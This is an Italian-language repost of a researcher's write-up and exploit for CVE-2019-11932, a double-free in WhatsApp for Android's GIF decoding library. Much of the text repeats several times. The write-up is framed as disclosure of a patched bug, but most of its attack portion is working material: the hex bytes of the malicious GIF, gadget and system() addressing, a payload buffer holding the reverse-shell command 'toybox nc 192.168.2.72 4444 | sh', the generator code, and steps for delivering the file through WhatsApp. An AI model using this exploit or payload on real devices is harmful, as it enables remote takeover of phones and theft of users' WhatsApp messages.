infiniteloopers/cve-2019-11932Resoconto tecnico e codice exploit per CVE-2019-11932, una vulnerabilità di double-free in WhatsApp per Android che porta all'esecuzione di codice remoto tramite un file GIF appositamente modificato.
Condividerò informazioni su una vulnerabilità di double-free che ho scoperto in WhatsApp per Android e su come l'ho trasformata in un RCE. L'ho segnalata a Facebook. Facebook l'ha riconosciuta e corretta ufficialmente nella versione 2.19.244 di WhatsApp. Facebook ha contribuito a riservare CVE-2019-11932 per questo problema.
Utenti di WhatsApp, aggiornate all'ultima versione di WhatsApp (2.19.244 o superiore) per essere al sicuro da questo bug.
I passaggi sono i seguenti:
Uno di questi potrebbe essere come Documento tramite WhatsApp (cioè premendo il pulsante Graffetta e scegliendo Documento per inviare il GIF corrotto) Se l'attaccante è nella rubrica dell'utente (cioè un amico), il GIF corrotto viene scaricato automaticamente senza alcuna interazione da parte dell'utente.
Nota che l'utente non deve inviare nulla perché solo l'apertura della Galleria di WhatsApp attiva il bug. Nessun tocco aggiuntivo dopo aver premuto Galleria di WhatsApp è necessario.
Quando un utente WhatsApp apre la vista Galleria in WhatsApp per inviare un file multimediale, WhatsApp lo analizza con una libreria nativa chiamata libpl_droidsonroids_gif.so per generare l'anteprima del file GIF. libpl_droidsonroids_gif.so è una libreria open-source con il codice sorgente disponibile su https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un file GIF contiene più frame codificati. Per memorizzare i frame decodificati, viene utilizzato un buffer chiamato rasterBits. Se tutti i frame hanno la stessa dimensione, rasterBits viene riutilizzato per memorizzare i frame decodificati senza riallocazione. Tuttavia, rasterBits viene riallocato se una delle tre condizioni seguenti è soddisfatta:
La riallocazione è una combinazione di free e malloc. Se la dimensione della riallocazione è 0, è semplicemente un free. Supponiamo di avere un file GIF che contiene 3 frame con dimensioni 100, 0 e 0.
Ciò provoca una vulnerabilità di double-free. La posizione di attivazione si trova in decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free qui sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
Come un bug di double-free in WhatsApp si trasforma in RCE Tempo di lettura: 14 minuti SU QUESTA PAGINA DEMO VULNERABILITÀ DI DOUBLE-FREE IN DDGIFSLURP IN DECODING.C IN LIBPL_DROIDSONROIDS_GIF CONTROLLO DEL REGISTRO PC GESTIONE DI ASLR E W^X METTENDO TUTTO INSIEME VERSIONI AFFETTE VETTORI DI ATTACCO In questo post del blog, condividerò informazioni su una vulnerabilità di double-free che ho scoperto in WhatsApp per Android e su come l'ho trasformata in un RCE. L'ho segnalata a Facebook. Facebook l'ha riconosciuta e corretta ufficialmente nella versione 2.19.244 di WhatsApp. Facebook ha contribuito a riservare CVE-2019-11932 per questo problema.
Utenti di WhatsApp, aggiornate all'ultima versione di WhatsApp (2.19.244 o superiore) per essere al sicuro da questo bug.
Demo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Link Google Drive per scaricare se il link sopra non è accessibile https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
I passaggi sono i seguenti:
0:16 L'attaccante invia un file GIF all'utente tramite qualsiasi canale Uno di questi potrebbe essere come Documento tramite WhatsApp (cioè premendo il pulsante Graffetta e scegliendo Documento per inviare il GIF corrotto) Se l'attaccante è nella rubrica dell'utente (cioè un amico), il GIF corrotto viene scaricato automaticamente senza alcuna interazione da parte dell'utente. 0:24 L'utente vuole inviare un file multimediale a un suo amico su WhatsApp. Quindi preme il pulsante Graffetta e apre la Galleria di WhatsApp per scegliere un file multimediale da inviare al suo amico. Nota che l'utente non deve inviare nulla perché solo l'apertura della Galleria di WhatsApp attiva il bug. Nessun tocco aggiuntivo dopo aver premuto Galleria di WhatsApp è necessario. 0:30 Poiché WhatsApp mostra le anteprime di ogni file multimediale (incluso il GIF ricevuto), attiverà il bug di double-free e il nostro exploit RCE. Vulnerabilità di double-free in DDGifSlurp in decoding.c in libpl_droidsonroids_gif Quando un utente WhatsApp apre la vista Galleria in WhatsApp per inviare un file multimediale, WhatsApp lo analizza con una libreria nativa chiamata libpl_droidsonroids_gif.so per generare l'anteprima del file GIF. libpl_droidsonroids_gif.so è una libreria open-source con il codice sorgente disponibile su https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un file GIF contiene più frame codificati. Per memorizzare i frame decodificati, viene utilizzato un buffer chiamato rasterBits. Se tutti i frame hanno la stessa dimensione, rasterBits viene riutilizzato per memorizzare i frame decodificati senza riallocazione. Tuttavia, rasterBits viene riallocato se una delle tre condizioni seguenti è soddisfatta:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 La riallocazione è una combinazione di free e malloc. Se la dimensione della riallocazione è 0, è semplicemente un free. Supponiamo di avere un file GIF che contiene 3 frame con dimensioni 100, 0 e 0.
Dopo la prima riallocazione, abbiamo un buffer info->rasterBits di dimensione 100. Nella seconda riallocazione di 0, il buffer info->rasterBits viene liberato. Nella terza riallocazione di 0, info->rasterBits viene liberato di nuovo. Ciò provoca una vulnerabilità di double-free. La posizione di attivazione si trova in decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free qui sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } In Android, un double-free di una memoria di dimensione N porta a due successive allocazioni di memoria di dimensione N che restituiscono lo stesso indirizzo.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Come un bug di double-free in WhatsApp si trasforma in RCE Tempo di lettura: 14 minuti SU QUESTA PAGINA DEMO VULNERABILITÀ DI DOUBLE-FREE IN DDGIFSLURP IN DECODING.C IN LIBPL_DROIDSONROIDS_GIF CONTROLLO DEL REGISTRO PC GESTIONE DI ASLR E W^X METTENDO TUTTO INSIEME VERSIONI AFFETTE VETTORI DI ATTACCO In questo post del blog, condividerò informazioni su una vulnerabilità di double-free che ho scoperto in WhatsApp per Android e su come l'ho trasformata in un RCE. L'ho segnalata a Facebook. Facebook l'ha riconosciuta e corretta ufficialmente nella versione 2.19.244 di WhatsApp. Facebook ha contribuito a riservare CVE-2019-11932 per questo problema.
Utenti di WhatsApp, aggiornate all'ultima versione di WhatsApp (2.19.244 o superiore) per essere al sicuro da questo bug.
Demo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Link Google Drive per scaricare se il link sopra non è accessibile https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
I passaggi sono i seguenti:
0:16 L'attaccante invia un file GIF all'utente tramite qualsiasi canale Uno di questi potrebbe essere come Documento tramite WhatsApp (cioè premendo il pulsante Graffetta e scegliendo Documento per inviare il GIF corrotto) Se l'attaccante è nella rubrica dell'utente (cioè un amico), il GIF corrotto viene scaricato automaticamente senza alcuna interazione da parte dell'utente. 0:24 L'utente vuole inviare un file multimediale a un suo amico su WhatsApp. Quindi preme il pulsante Graffetta e apre la Galleria di WhatsApp per scegliere un file multimediale da inviare al suo amico. Nota che l'utente non deve inviare nulla perché solo l'apertura della Galleria di WhatsApp attiva il bug. Nessun tocco aggiuntivo dopo aver premuto Galleria di WhatsApp è necessario. 0:30 Poiché WhatsApp mostra le anteprime di ogni file multimediale (incluso il GIF ricevuto), attiverà il bug di double-free e il nostro exploit RCE. Vulnerabilità di double-free in DDGifSlurp in decoding.c in libpl_droidsonroids_gif Quando un utente WhatsApp apre la vista Galleria in WhatsApp per inviare un file multimediale, WhatsApp lo analizza con una libreria nativa chiamata libpl_droidsonroids_gif.so per generare l'anteprima del file GIF. libpl_droidsonroids_gif.so è una libreria open-source con il codice sorgente disponibile su https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un file GIF contiene più frame codificati. Per memorizzare i frame decodificati, viene utilizzato un buffer chiamato rasterBits. Se tutti i frame hanno la stessa dimensione, rasterBits viene riutilizzato per memorizzare i frame decodificati senza riallocazione. Tuttavia, rasterBits viene riallocato se una delle tre condizioni seguenti è soddisfatta:
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 La riallocazione è una combinazione di free e malloc. Se la dimensione della riallocazione è 0, è semplicemente un free. Supponiamo di avere un file GIF che contiene 3 frame con dimensioni 100, 0 e 0.
Dopo la prima riallocazione, abbiamo un buffer info->rasterBits di dimensione 100. Nella seconda riallocazione di 0, il buffer info->rasterBits viene liberato. Nella terza riallocazione di 0, info->rasterBits viene liberato di nuovo. Ciò provoca una vulnerabilità di double-free. La posizione di attivazione si trova in decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free qui sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } In Android, un double-free di una memoria di dimensione N porta a due successive allocazioni di memoria di dimensione N che restituiscono lo stesso indirizzo.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Nello snippet sopra, la variabile $foo è stata liberata due volte. Di conseguenza, le due allocazioni successive ($20 e $21) restituiscono lo stesso indirizzo. Ora guardiamo la struct GifInfo in gif.h struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- c'è un puntatore a funzione qui GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- c'è un altro puntatore a funzione qui jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
Creiamo quindi un file GIF con tre frame delle seguenti dimensioni: sizeof(GifInfo) 0 0
Quando la Galleria di WhatsApp viene aperta, il suddetto file GIF attiva il bug di double-free sul buffer rasterBits con dimensione sizeof(GifInfo). È interessante notare che, nella Galleria di WhatsApp, un file GIF viene analizzato due volte. Quando il detto file GIF viene analizzato di nuovo, viene creato un altro oggetto GifInfo. A causa del comportamento di double-free in Android, l'oggetto GifInfo info e info->rasterBits punteranno allo stesso indirizzo. DDGifSlurp() decodificherà quindi il primo frame nel buffer info->rasterBits, sovrascrivendo info e la sua rewindFunction(), che viene chiamata proprio alla fine della funzione DDGifSlurp().
Il file GIF che dobbiamo creare è il seguente: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
Contiene quattro frame: Frame 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF Frame 2: 2C 00 00 00 00 1C 0F 00 00 00 00 Frame 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Frame 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 Di seguito la sequenza di ciò che accade quando la Galleria di WhatsApp viene aperta:
Prima analisi: Init: GifInfo info = malloc(168); Frame 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Frame 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Frame 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Frame 4: non importa, è lì per rendere valido questo file GIF Seconda analisi: Init: GifInfo info = malloc(168); Frame 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Frame 2, 3, 4: non importa Fine: info->rewindFunction(info); A causa del bug di double-free che si verifica nella prima analisi, info e info->rasterBits ora puntano alla stessa locazione. Con il primo frame creato come detto, possiamo controllare rewindFunction e PC quando viene chiamato info->rewindFunction(info);. Si noti che i frame sono tutti codificati LZW. Dobbiamo usare un codificatore LZW per codificare i frame. Il GIF sopra provoca un crash come segue:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
Dopo aver controllato il PC, vogliamo ottenere l'esecuzione remota del codice. In Android, non possiamo eseguire codice su regioni non eseguibili a causa di W^X (cioè stack e heap). Il modo più semplice per gestire W^X nel nostro caso è eseguire il seguente comando:
system("toybox nc 192.168.2.72 4444 | sh"); Per questo, abbiamo bisogno che PC punti alla funzione system() in libc.so e X0 punti a "toybox nc 192.168.2.72 4444 | sh". Questo non può essere fatto direttamente. Dobbiamo prima far saltare PC a un gadget intermedio, che imposta X0 su "toybox nc 192.168.2.72 4444 | sh" e salta a system(). Dal disassemblaggio del codice intorno a info->rewindFunction(info);, possiamo vedere che sia X0 che X19 puntano a info->rasterBits (o info, perché entrambi puntano alla stessa locazione), mentre X8 è in realtà info->rewindFunction.
Disassemblaggio intorno a info->rewindFunctionC'è un gadget in libhwui.so che soddisfa perfettamente il nostro scopo:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 Supponiamo che l'indirizzo del gadget sopra sia AAAAAAAA e l'indirizzo della funzione system() sia BBBBBBBB. Il buffer rasterBits (frame 1) prima della codifica LZW appare come segue:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. In un normale sistema Android, poiché tutti i processi sono generati da Zygote, anche con ASLR i nostri indirizzi AAAAAAAA e BBBBBBBB non cambiano se WhatsApp viene ucciso e riavviato. Tuttavia, non persistono dopo un riavvio del sistema. Per avere AAAAAAAA e BBBBBBBB affidabili, abbiamo bisogno di una vulnerabilità di divulgazione di informazioni che ci dia l'indirizzo base di libc.so e libhwui.so. Quella vulnerabilità è al di là dello scopo di questo post del blog.
Basta compilare il codice in questo repository. Nota che l'indirizzo di system() e del gadget devono essere sostituiti con l'indirizzo effettivo trovato da una vulnerabilità di divulgazione di informazioni (che non è coperta in questo post del blog). /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
Run the code to generate the corrupted GIF file:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
Quindi copia il contenuto in un file GIF e invialo come Documento tramite WhatsApp a un altro utente WhatsApp. Nota che non deve essere inviato come file multimediale, altrimenti WhatsApp prova a convertirlo in MP4 prima dell'invio. Quando l'utente riceve il file GIF malizioso, non succede nulla finché l'utente non apre la Galleria di WhatsApp per inviare un file multimediale a un amico.
L'exploit funziona bene fino alla versione 2.19.230 di WhatsApp. La vulnerabilità è ufficialmente corretta nella versione 2.19.244 di WhatsApp
L'exploit funziona bene per Android 8.1 e 9.0, ma non funziona per Android 8.0 e versioni precedenti. Nelle versioni precedenti di Android, il double-free può ancora essere attivato. Tuttavia, a causa delle chiamate malloc da parte del sistema dopo il double-free, l'app si blocca prima di raggiungere il punto in cui possiamo controllare il registro PC.
Nota che Facebook ha informato lo sviluppatore del repository android-gif-drawable del problema. La correzione di Facebook è stata anche integrata nel repository originale con un commit del 10 agosto. La versione 1.2.18 di android-gif-drawable è sicura dal bug double-free.
Con lo sfruttamento di cui sopra, possiamo avere due vettori di attacco:
Escalation dei privilegi locali (da un'app utente a WhatsApp): Un'app malevola viene installata sul dispositivo Android. L'app raccoglie gli indirizzi delle librerie di Zygote e genera un file GIF malizioso che porta all'esecuzione di codice nel contesto di WhatsApp. Ciò consente all'app malware di rubare file nella sandbox di WhatsApp, incluso il database dei messaggi. Esecuzione remota di codice: In combinazione con un'applicazione che ha una vulnerabilità di divulgazione di informazioni sulla memoria remota (ad esempio browser), l'attaccante può raccogliere gli indirizzi delle librerie di Zygote e creare un file GIF malizioso da inviare all'utente tramite WhatsApp (deve essere come allegato, non come immagine tramite il selettore della Galleria). Non appena l'utente apre la vista Galleria in WhatsApp (chi non invia mai file multimediali agli amici, giusto?), il file GIF attiverà una shell remota nel contesto di WhatsApp.
#Fonte Afnan Sadhayo Infiniteloopers.com
Non possiedo questo , se hai problemi contatta il proprietario